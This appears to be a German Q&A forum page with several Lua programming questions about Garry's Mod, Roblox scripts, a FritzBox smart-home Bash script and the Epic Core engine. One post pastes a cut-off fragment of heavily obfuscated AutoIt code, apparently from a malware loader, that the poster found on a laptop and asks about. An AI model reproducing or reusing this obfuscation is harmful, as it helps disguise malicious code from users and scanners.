Lua Programmiersprache lernen, empfehlenswerte Bücher?

Hallo Freunde,

ich habe seit 2015/16 angefangen Garry‘s Mod auf verschiedenen Gameservern zu spielen. Dort konnte bereits über 6.000 Spielstunden ansammeln.

2017 habe ich mich dann auch dem Serverteam bei einer etwas größeren Community angeschlossen. Dort fing alles an als Supporter.

Meine Neugier war selbstverständlich sehr hoch, wie solch ein Server überhaupt betrieben wird und wie es zu diesen ganzen Funktionen auf dem Server kommt. Ich eignete mir leichtes Grundwissen an und helfte als ,,Servertechniker“ aus. (Jobs schreiben/umschreiben, Skripte umschreiben/übersetzen und schließlich die Inbetriebnahme eines Gameservers)

2020 eröffnete ich dann meinen eigenen Server mit Skripten aus dem Gmodstore.

Nun möchte ich mich aber selbst an das Programmieren von solchen Skripts befassen, da mir die Arbeiten mit LUA damals schon Spaß gemacht hatten.

Allerdings habe ich keinen blassen Schimmer wie ich mit einem Skript überhaupt anfange, die Funktionen, das Overlay und alles was eben dazugehört.

Schlichtweg möchte ich erstmal einfacheren Skripte schreiben. (z.B Scoreboard und HUD)

Gibt es für die Programmiersprache LUA gute Bücher oder Webseiten die ihr mir empfehlen könntet?

Textprogramm mit dem ich damals gearbeitet habe war Notepad++, nun möchte ich aber mit Visual Code Studio arbeiten.

Ich hoffe ihr könnt mir weiterhelfen.

Computer, Computerspiele, Mods, Programm, Community, Webseite, Programmierer, programmieren, Garry's Mod, lua, Programmiersprache, Visual Studio, Visual Studio Code, Garry's Mod Server
Lua: Wieso wird das Label nicht geändert?

Hallo Leute!

Es ist vielleicht ein bisschen komisch, Fragen zum Programmieren hier zu stellen, aber ich komme wirklich einfach nicht weiter.

Ich habe dieses Lua-Skript geschrieben, welches die Geschwindigkeit und ein TextLabel eines Spielers ändern soll, wenn er mit einem Baum Interagiert.

Mein Problem ist, dass wenn ich interagiere, zwar die Geschwindigkeit geändert wird, jedoch nicht das Label. Außerdem wird beides nicht auf den richtigen Wert gesetzt, nachdem man aus dem Spiel und wieder hineingeht.

Außerdem wird kein Fehlercode angezeigt.

Das Skript:

local Players = game:GetService("Players")
local DataStoreService = game:GetService("DataStoreService")
local speedDataStore = DataStoreService:GetDataStore("PlayerSpeedData12")
local tree = workspace:FindFirstChild("Tree2")
if tree then
local prompt = tree.Part.Attachment.ProximityPrompt
if prompt then
prompt.Triggered:Connect(function(player)
-- Überprüfen, ob der Player ein gültiger Spieler ist
if player and player:IsA("Player") then
local userId = player.UserId
local success, hasInteracted = pcall(function()
return speedDataStore:GetAsync("HasInteracted_" .. userId)
end)
if success and hasInteracted then
warn("Player has already interacted with the tree")
return
end
local character = player.Character
if character then
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
-- Erhöhe die Geschwindigkeit
if humanoid.WalkSpeed then
humanoid.WalkSpeed = (humanoid.WalkSpeed or 16) + 0.5
end
end
-- Erhöhe den Wert des TextLabels
local playerGui = player:WaitForChild("PlayerGui")
if playerGui then
local screenGui = playerGui:FindFirstChild("ScreenGui") 
if screenGui then
local textLabel = screenGui:FindFirstChild("SpeedFrame"):FindFirstChild("SpeedCounter"):FindFirstChild("Speed")
if textLabel and textLabel:IsA("TextLabel") then
wait(0.1)
local successText, savedText = pcall(function()
return speedDataStore:GetAsync("SpeedText_" .. userId)
end)
if successText and savedText then
textLabel.Text = savedText
else
textLabel.Text = "1.00"
end
-- Speichere den aktualisierten Text
pcall(function()
speedDataStore:SetAsync("SpeedText_" .. userId, textLabel.Text)
end)
end
else
warn("ScreenGui nicht gefunden")
end
else
warn("PlayerGui nicht gefunden")
end
else
warn("Character nicht gefunden")
end
local success, errorMessage = pcall(function()
speedDataStore:SetAsync("HasInteracted_" .. userId, true)
if humanoid then
speedDataStore:SetAsync("WalkSpeed_" .. userId, humanoid.WalkSpeed)
end
end)
if not success then
warn("Fehler beim Speichern der Daten: " .. errorMessage)
end
else
warn("Ungültiger Spieler")
end
end)
else
warn("ProximityPrompt nicht gefunden")
end
else
warn("Tree2 nicht gefunden")
end
Players.PlayerAdded:Connect(function(player)
local userId = player.UserId
local success, savedSpeed = pcall(function()
return speedDataStore:GetAsync("WalkSpeed_" .. userId)
end)
local successText, savedText = pcall(function()
return speedDataStore:GetAsync("SpeedText_" .. userId)
end)
if success then
player.CharacterAdded:Connect(function(character)
local humanoid = character:WaitForChild("Humanoid")
if savedSpeed and humanoid then
if humanoid.WalkSpeed then
humanoid.WalkSpeed = savedSpeed
end
end
local playerGui = player:WaitForChild("PlayerGui")
if playerGui then
local screenGui = playerGui:FindFirstChild("ScreenGui") 
if screenGui then
local textLabel = screenGui:FindFirstChild("SpeedFrame"):FindFirstChild("SpeedCounter"):FindFirstChild("Speed")
if textLabel and textLabel:IsA("TextLabel") then
wait(0.1)
if successText and savedText then
textLabel.Text = savedText
else
textLabel.Text = "0"
end
else
warn("TextLabel nicht gefunden")
end
else
warn("ScreenGui nicht gefunden")
end
else
warn("PlayerGui nicht gefunden")
end
end)
else
warn("Fehler beim Laden der gespeicherten Geschwindigkeit für Spieler " .. userId)
end
end) 

Ich wäre wirklich sehr dankbar, wenn mir jemand weiterhelfen kann!

Fehler, Code, lua, Programmiersprache
FritzBox DECT-SmartHome per Bash-Script - Unerwartetes Dateiende?

Moinsen, kann mir evtl jemand sagen, warum ich den Fehler: "Unerwartetes Dateiende" bekomme, wenn ich das Script von dieser Seite ausführe?

smart_fritz_terminal.sh

Sehe da keinen Fehler. Bin aber auch kein Bash-Skript Profi.
Weiß nicht immer genau was wo zu beachten ist.
Hoffe mir kann jemand helfen den Fehler zu finden.

Falls der Link nicht geht oder sich die Datei irgendwie ändern sollte, hier nochmal zusätzlich der Quelltext direkt.

#!/bin/bash
# Die Adresse der Fritzbox
# Beispiele:
# fbox="https://192.168.178.1:444" # SSL-Verschlüsselt, Port 444
# fbox="http://192.168.178.1" # http normal, Port 80
# fbox="abcdef28kk6oabcdef.myfritz.net:444" # myfritz-Adresse, SSL, Port 444
# fbox="https://[2001:a00:12b7:c300:a00:a000:feed:921c]:444" # IPv6-Adresse, SSL, Port 444

#################
# Konfiguration #
fbox="http://192....." # Bitte Adresse eintragen
# Bei https, Ausnahme für selbst signiertes Zertifikat, sonst leer lassen
INSECURE= 
#INSECURE="--insecure" 

# Vollständige Anzeige: full, leer lassen für schnellere Ergebnisse
VIEW="full"
# das bei der Fritzbox konfigurierte Passwort
# unter System->FRITZ!Box-Benutzer->Anmeldung im Heimnetz
# Ist die Option "Anmeldung mit dem FRITZ!Box-Kennwort" aktiv
# genügt das Passwort für die Anmeldung

PASSWD="geheim"
# Der Benutzernamen für die Fritzbox
# Dieser lässt sich unter "System -> FRITZ!Box-Benutzer" erstellen.
# Dann kann man die Option
# "Anmeldung mit FRITZ!Box-Benutzernamen und Kennwort" aktivieren

USER="MeinName" 
#################
if [ "$fbox" = "" ]; then
if [ "$fbox" = "" ]; then
echo Bitte Fritzbox Adresse im Script eintragen
exit 1
fi

RED='\033[0;31m'
GREEN='\033[0;32m'
CYAN='\033[0;36m' 
YELLOW='\033[0;33m'
NC='\033[0m'
CURL=$(which curl) 
MD5SUM=$(which md5sum)
ICONV=$(which iconv)
AWK=$(which awk)

# Die SmartHome-Seite der Fritzbox
CURLCMD="$CURL $INSECURE -s $fbox/webservices/homeautoswitch.lua"

# Funktion zum Ermitteln der SID / Anmeldung bei der Fritzbox
get_sid() {
SID=$($CURL $INSECURE -s $fbox/login_sid.lua | sed 's/.*<SID>\(.*\)<\/SID>.*/\1/')
if [ "$SID" = "0000000000000000" ]; then
challenge=$($CURL $INSECURE -s $fbox/login_sid.lua |  grep -o "<Challenge>[a-z0-9]\{8\}" | cut -d'>' -f 2)
echo challenge: $challenge
CPSTR="$challenge-$PASSWD"
hash=`echo -n $CPSTR | $ICONV -f ISO8859-1 -t UTF-16LE | $MD5SUM -b | $AWK '{print substr($0,1,32)}'`
echo MD5: $hash
RESPONSE="$challenge-$hash"
POSTDATA="?username=$USER&response=$RESPONSE"
SID=$($CURL $INSECURE --data "$POSTDATA" -s $fbox/login_sid.lua | sed 's/.*<SID>\(.*\)<\/SID>.*/\1/')
fi
echo SID: $SID
}

# Funktion zum Ermitteln von Werten
get_value() {
RESULT=""
if [ "$2" = "" ]; then
RESULT=$($CURLCMD"?sid=$SID&switchcmd=$1")
else
RESULT=$($CURLCMD"?sid=$SID&ain=$2&switchcmd=$1")
fi
}

get_sid # SID holen
if [ "$SID" = "0000000000000000" ]; then
echo -e  "${RED}Anmeldung fehlgeschlagen ${NC}"
exit 1
fi
if [ "$SID" = "" ]; then
echo -e  "${RED}Anmeldung fehlgeschlagen ${NC}"
exit 1
fi

echo -e  "${GREEN}Anmeldung erfolgreich ${NC}"
echo

# Liste der Schalter ermitteln
get_value getswitchlist
COUNTER=0
IFS=', ' read -r -a array <<< "$RESULT"

# Werte der Schalter holen
for AIN in "${array[@]}"
do
let COUNTER=COUNTER+1 
echo -e  "${YELLOW}Actor #$COUNTER ${NC}"
switchpresent=0
get_value getswitchname $AIN
echo -e  "${CYAN}Name: $RESULT ${NC}"
get_value getswitchpresent $AIN
echo AIN: $AIN
echo Connected: $RESULT
if [ "$RESULT" = "1" ]; then
# bei aktiven Schaltern 
# Parameter verarbeiten, etwa: 1 on
if [ "$1" = "$COUNTER" ]; then
  if [ "$2" = "on" ]; then
    get_value setswitchon $AIN
	echo "set #$COUNTER on"
  fi	
    if [ "$2" = "off" ]; then
      get_value setswitchoff $AIN
	  echo "set #$COUNTER off"
    fi	
    if [ "$2" = "toggle" ]; then
      get_value setswitchtoggle $AIN
	  echo "set #$COUNTER toggle"
    fi	
fi
  
  # Alle Werte ermitteln/ausgeben (langsamer)
  if [ "$VIEW" = "full" ]; then
   get_value getswitchstate $AIN
   echo State: $RESULT
   get_value getswitchpower $AIN
   switchpower=`awk "BEGIN {printf \"%.2f\n\", $RESULT/1000}"`
   echo Power: $switchpower W
   get_value getswitchenergy $AIN
   echo Energy: $RESULT Wh
   get_value gettemperature $AIN
   temperature=`awk "BEGIN {printf \"%.1f\n\", $RESULT/10}"`
   echo Temperature: $temperature °C
   echo
  fi 
fi

done
exit 0
  
Bash, DECT, FRITZ!Box, lua, Script, Shell, Terminal, sh, Smart Home
random so auf dem Laptop aufgetaucht was ist das?

Hallo miteinander, ich habe diese "i" Datei einfach so auf Dem Rechner gefunden und wollte Einfach mal wissen was es ist, hier ist der Link dazu: [Link vom Support entfernt]

FILExt seit 2000 $DrawAlternative = 23 $LeaseSucceed = 50 For $WpQYhhOY = 62 To 328 If $DrawAlternative = 21 Then ACos(7367) DriveStatus(BendFibre("66R97R110R97R110R97R47R82R101R115R99R117R101R47R71R98R112R47",0/1)) Sqrt(3520) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 22 Then FileExists(BendFibre("68R105R118R115R100R105R43R84R118R113R102R115R119R106R116R112R115R43R85R98R109R108R116R43",4/4)) PixelGetColor(BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2), BendFibre("81R103R38R38R38R38R89R103R108R107R38R38R38R38R89R122R117R120R107R38R38R38R38",12/2)) Dec(BendFibre("89R107R103R121R117R116R103R114R100R76R107R107R121R100R90R111R121R121R123R107R100",30/5)) $DrawAlternative = $DrawAlternative + 1 EndIf If $DrawAlternative = 23 Then Opt(BendFibre("88R118R101R125R77R103R115R114R76R109R104R105",24/6), 1) ExitLoop EndIf If $DrawAlternative = 24 Then ConsoleWriteError(BendFibre("87R112R107R118R123R45R67R112R107R111R103R45R75R112R118R103R116R112R103R118R45",8/4)) Chr(1517) $DrawAlternative = $DrawAlternative + 1 EndIf Next Func WholesaleHaitiReminderCompleting($annemeets, $AmazoncoukLay, $DICKMATSSLIM, $prisonerexhaustnbentry, $yukonaviationjaystadium, $ProportionPin, $gpautumnproductionspiritual, $werepresentedbaldborders, $electronicknowledgechristina) $ALTOPERSONALLY = '5405010214968952063493898807967726088594171878677126840372' $StephenNsSapAdditional = 48 $TerraceTerrible = 87 For $UbtIoS = 40 To 921 If $StephenNsSapAdditional = 47 Then ACos(6960) PixelGetColor(94, 568, 0) ATan(1964) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf If $StephenNsSapAdditional = 48 Then $BITCHDUBAIDIARYM = Sqrt(7992) ExitLoop EndIf If $StephenNsSapAdditional = 49 Then ASin(824) ConsoleWriteError(BendFibre("85R116R120R106R66R81R106R108R110R120R113R102R121R122R119R106R66R76R122R110R113R105R66R73R110R123R125R66",5/1)) FileExists(BendFibre("85R103R112R102R117R34R84R103R101R113R112R117R118R116R119R101R118R107R113R112R34R88R103R118R103R116R99R112R117R34R86R99R100R110R103R118R34",2/1)) $StephenNsSapAdditional = $StephenNsSapAdditional + 1 EndIf Next $SPIESSUBMISSIONOCCASIONAL = '277738451445807690080798083527466278916798997871293099' $distributorafterwards = 6 $MythAvailable = 56 For $tCvjcSsLv = 31 To 519 If $distributorafterwards = 4 Then Dec(BendFibre("71R85R68R80R68R35R76R81R71R76R68R81R68R35R79R76R87R75R88R68R81R76R68R35R69R79R89R71R35",27/9)) Exp(9587) PixelGetColor(45, 170, 0) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 5 Then PixelGetColor(35, 618, 0) ConsoleWriteError(BendFibre("85R103R103R109R103R116R117R49R81R116R107R103R112R118R99R118R107R113R112R49R78R99R121R117R119R107R118R49R85R119R110R110R107R120R99R112R49",16/8)) ACos(5577) $distributorafterwards = $distributorafterwards + 1 EndIf If $distributorafterwards = 6 Then $representativexnxxpetroleummagnet = Sqrt(217) ExitLoop EndIf If $distributorafterwards = 7 Then Chr(835) Dec(BendFibre("65R99R99R117R114R97R116R101R33",0/4)) $distributorafterwards = $distributorafterwards + 1 EndIf Next $COMPRESSEDENVIRONMENTAL = '4577431951295599919326669678' $OrderingAka = 81 $EVOLUTIONPACKETSCOMPETITIVE = 51 For $hdma = 92 To 283 If $OrderingAka = 80 Then Exp(6961) ASin(2467) DriveStatus(BendFibre("113R121R68",36/9)) $OrderingAka = $OrderingAka + 1 EndIf If $OrderingAka = 81 Then $hipdisplayoriginalalignment = ASin(1467) ExitLoop EndIf Next $FROSTAFFILIATESCOLONIAL = '018963007035438608543348846914979471546604839410592769688' $FINISHINGWHENEVERNODES = 23 $YOURTAPESDEATHSDUST = 50 For $ZLaruUIk = 65 To 201 If $FINISHINGWHENEVERNODES = 22 Then Chr(7045) PixelGetColor(BendFibre("78R119R124R126R123R110R56",63/7), BendFibre("78R119R124R126R123R110R56",63/7)) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf If $FINISHINGWHENEVERNODES = 23 Then $COPPERRACHELBEAVERVP = PixelGetColor(43, 391, 0) ExitLoop EndIf If $FINISHINGWHENEVERNODES = 24 Then ATan(8608) Sqrt(5933) PixelGetColor(66, 437, 0) $FINISHINGWHENEVERNODES = $FINISHINGWHENEVERNODES + 1 EndIf Next $DEVELOPMENTEDITORIALARTHRITIS = '804534994533913976475826179188086637374026519863466805618856582756738' $IncorporateVilla = 30 $GottenLoops = 53 For $zGCEXLS = 96 To 915 If $IncorporateVilla = 29 Then Dec(BendFibre("81R123R116R105R117R72R91R107R105R118R118R109R108R72",16/2)) Exp(9251) $IncorporateVilla = $IncorporateVilla + 1 EndIf If $IncorporateVilla = 30 Then $AppearsContainedHottest = ConsoleWriteError(BendFibre("87R107R108R81R105R120R73R77R114R109R106R83R108R122R110R90",6/2)) ExitLoop EndIf If $IncorporateVilla = 31 Then ATan(2355) Dec(BendFibre("77R79R82R82R73R83R43R67R65R43",0/3)) $IncorporateVilla = $IncorporateVilla + 1 EndIf Next $ListingsGc = '9632358956507871259104285367395025565' $validitygrandn

Visual Basic, VBA, Code, Dummheit, Entschlüsseln, Hacking, lua, Programmiersprache, Python, Visual Studio, VBA Excel
Epic's "Core" Error running Lua task: [4C6A178280F8DC08]?

Ich spiele gerade ein wenig mit der Epic "Core"-Engine rum. Die benutzt die Lua-Version 5.3.6. - Ich bin absoluter Laie was coden angeht. Hab als Kind mal das ein oder andere Programm mit Visual Basic geschrieben und war stolz drauf. Das wars dann aber auch. Ich möchte verstehen wo der Fehler liegt.

Ich versuche das "META Inventory System" in Kombination mit dem "NPC AI Kit" zum laufen zu kriegen. Sobald ich einen NPC angreife kommt folgende Fehlermeldung:

Error running Lua task: [4C6A178280F8DC08] NPCKitTagGetter:164: attempt to index a nil value (local 'obj')

Soweit ich weiß heißt "nil" = non-existence or nothingness, bedeutet das der Code findet ein Objekt nicht?

Im Code selbst an der besagten Stelle, Line164: if obj.serverUserData and obj.serverUserData.combatTags then tagTable = obj.serverUserData.combatTags

Der NPC kann mir schaden zufügen und mich sogar besiegen. Sobald ich den NPC angreife nimmt er von diesem einen Angriff Schaden und danach keinen mehr, ab meinem ersten Angriff kann er mir auch keinen Schaden mehr zufügen. Das Game freezed jetzt nicht, aber es bricht halt die Gamemechanic so das es keinen Sinn mehr macht weiter zu spielen.

Ich bin da jetzt schon seit gut 4-5 Stunden dran.. und Tutorials zu dem Fehler gibt es auch nicht. Bin auch schon auf einem Discord extra für Lua Scripter gegangen, bisher konnte aber niemand helfen.

Vielleicht findet sich ja hier ein schlafloser Programmierer in Helferlaune. :)

Wenn noch was gebraucht wird an Info, gebe ich die natürlich. Ich lass den Tab mal offen und versuch weiter das Ding zum laufen zu kriegen.

System, Core, Error, lua, meta, nil, Programmiersprache, Epic, inventory
Roblox Studio Skript Bedeutung?

Also es ist ein Tag-Nacht-Zyklus von der Toolbox und in der Beschreibung stand, dass dayLength die Tageslänge in Minuten bedeutet, auch wenn es im Spiel eher 3 Minuten sind. Im Moment bin ich so am Rumprobieren, aber weiß nicht mal richtig, was das alles bedeutet. Ich werde in fett danebenschreiben, was ich denke, was das bedeutet. Könnte evtl. jemand drüberschauen, was ich falsch interpretiert habe, vor Allem mit den Zahlen?

local dayLength = 12

Ein Tag/ Eine Nacht dauern jeweils 12 Minuten (Steht das für 12 Fakestunden?)

local cycleTime = dayLength*60

Ähmm.. Wie lang eine Sekunde (Fakeminute) dauert?

local minutesInADay = 24*60

Wieviel Sekunden eine Minute hat (Fakeminuten pro Fakestunde)

local lighting = game:GetService("Lighting")

Ob es heller oder dunkler ist

local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime

Zeitpunkt, an dem Tag/Nacht beginnt, bei dem lighting:get MinutesAfterMidnight, ist das so, dass automatisch die Zeit erkannt wird, jenachdem wo das Licht ist? Und wenn man das durch Minutesinaday teilt, weiß man, wie viel Prozent des Tages schon rum ist, heißt das, das müsste null sein wenn der Tag beginnt? Und wieso multipliziert man mit CycleTime, ist das nicht so und so 0 am Tagesanfang? Also der Tag beginnt anscheinend an Mitternacht, oder? Und was bedeutet das Tick?

local endTime = startTime + cycleTime

Wenn ein Zyklus endet, also die Startzeit plus Tagessekungen(Fakeminuten). Wieso nimmt man da nicht dayLength? Oder Zählen da die Sekunden, nicht Minuten?

local timeRatio = minutesInADay / cycleTime

Gekürzt 24/12, also wie gekürzt der Tag ist im Vergleich?? Oder so?

if dayLength == 0 then

dayLength = 1

end

repeat

Wenn es wahr ist, dass der Tag/ die Nacht begonnen hat, ähm, dann soll die Zeit um eins weiter gehen (naja)

local currentTime = tick()

Die aktuelle Zeit kann man dran fest machen indem die Zeit jede Sekunde um einen Tick vorwärtsgeht (oder so)

if currentTime > endTime then

startTime = endTime

endTime = startTime + cycleTime

end

Wenn die aktuelle Zeit das Ende des Tages erreicht hat, beginnt der Anfang der Nacht, und andersrum, und dann wird noch gesagt, dass die Endzeit der Zeitpunkt nach einem Tageszyklus ist

lighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio)

wait(1/15)

until false

Und keine Ahnung, was hier passiert, ich dachte Minuten nach mitternacht ist klar, wieso ist danach noch was in der Klammer?

Informatik, lua, Programmiersprache, Roblox, Roblox Studio

Meistgelesene Fragen zum Thema Lua